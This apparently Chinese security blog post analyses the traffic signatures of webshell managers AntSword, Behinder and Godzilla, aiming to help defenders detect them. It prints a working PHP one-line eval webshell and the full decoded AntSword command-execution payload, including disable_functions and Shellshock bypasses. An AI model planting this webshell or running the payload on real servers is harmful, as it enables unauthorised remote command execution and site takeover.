在日常中经常会遇到各种websehll,黑客通常要通过各种方式获取 webshell,从而获得企业网站的控制权,识别出webshell文件或通信流量可以有效地阻止黑客进一步的攻击行为,下面以常见的几款webshell管理工具来进行分析

参考:https://mp.weixin.qq.com/s/mS1Ea6g3f2M6zMd7wGdc_w

wireshark推荐大家在虚拟机中抓包,本地可能不太好找连接webshell时的数据包

ps:本次数据包流量分析只使用了php马,jsp和asp未涉及,本地没有java环境,下次一定

中国菜刀

中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。

它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用。一般实战中没有人会去用这个,版本也只到了2016年,官网也关闭了,大家注意来路不明的有可能存在后门,注意一下,下方的已经经过md5对比,没有太大问题

github项目地址:https://github.com/raddyfiy/caidao-official-version

关于菜刀我就不去分析,菜刀流量过于明显,而且已经在实战中看不到

蚁剑

0x01默认编码

使用一句话shell

<?php @eval($_POST['shell']);?>

每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64_decode等字符

wireshark抓包为

URL解码后得到下面的信息,关键的为shell=@ini_set("display_errors", "0");@set_time_limit(0);``base64_decode

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.ce07a20";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "7693be"."827e2f";echo @asenc($output);echo "32fcf1"."4b584a";}ob_start();try{$p=base64_decode(substr($_POST["v19e9309c34ba4"],2));$s=base64_decode(substr($_POST["ldd06d9e278c37"],2));$envstr=@base64_decode(substr($_POST["c95795ce2aa5ee"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&v19e9309c34ba4=57L2Jpbi9zaA==

下图是蚁剑开启代理后在bp抓到的包,这里我执行是ls命令,我们关闭抓包来看一下返回包特征

跟蚁剑对比一下不难看出返回包格式

很容易可以看出返回的数据包格式为:随机数+结果+随机数

0x02使用base64编码器和解码器时

](http

蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行,与默认编码不同的是使用了base64编码;

我们将请求包和返回包均解码查看一下

请求包依旧跟默认编码一样,只不过进行了进一步编码,返回包也只是进行了base64编码处理。

冰蝎

冰蝎是一款动态二进制加密网站管理客户端。同时冰蝎也提供了代理的功能,这样可以直接bp抓包就可以了,wireshark抓包多少有点不方便

github地址:https://github.com/rebeyond/Behinder

0x01冰蝎2.0

2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容为16位的密钥

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

0x02冰蝎3.0

在3.0中改了,去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16],但还是会存在一些特征

在使用命令执行功能时,请求包中content-length为5700左右,并且每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache

Accept特征信息为信息为:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

0x03冰蝎3.0木马

在PHP中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval或assert等字符特征

在asp中会在for循环中做异或处理

在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

哥斯拉

github地址:https://github.com/BeichenDream/Godzilla

哥斯拉的webshell需要动态生成,可以根据需求选择各种不同的加密方式

0x01哥斯拉流量特征

请求包中Accept:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

所有响应中:

Cache-Control: no-store, no-cache, must-revalidate

以上两个只能作为弱特征参考

同时在所有请求中Cookie中后面都存在;特征

Set-Cookie: PHPSESSID=ilq3u6pudaij8n14k1douninhc; path=/

同时请求数据包中出现eval,base64_decode等字符

0x02哥斯拉木马特征

哥斯拉的jsp马跟冰蝎的马有那么一点类似,在选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

php和asp马都是简单的一句话木马

如有错误请各位师傅指出,万分感谢!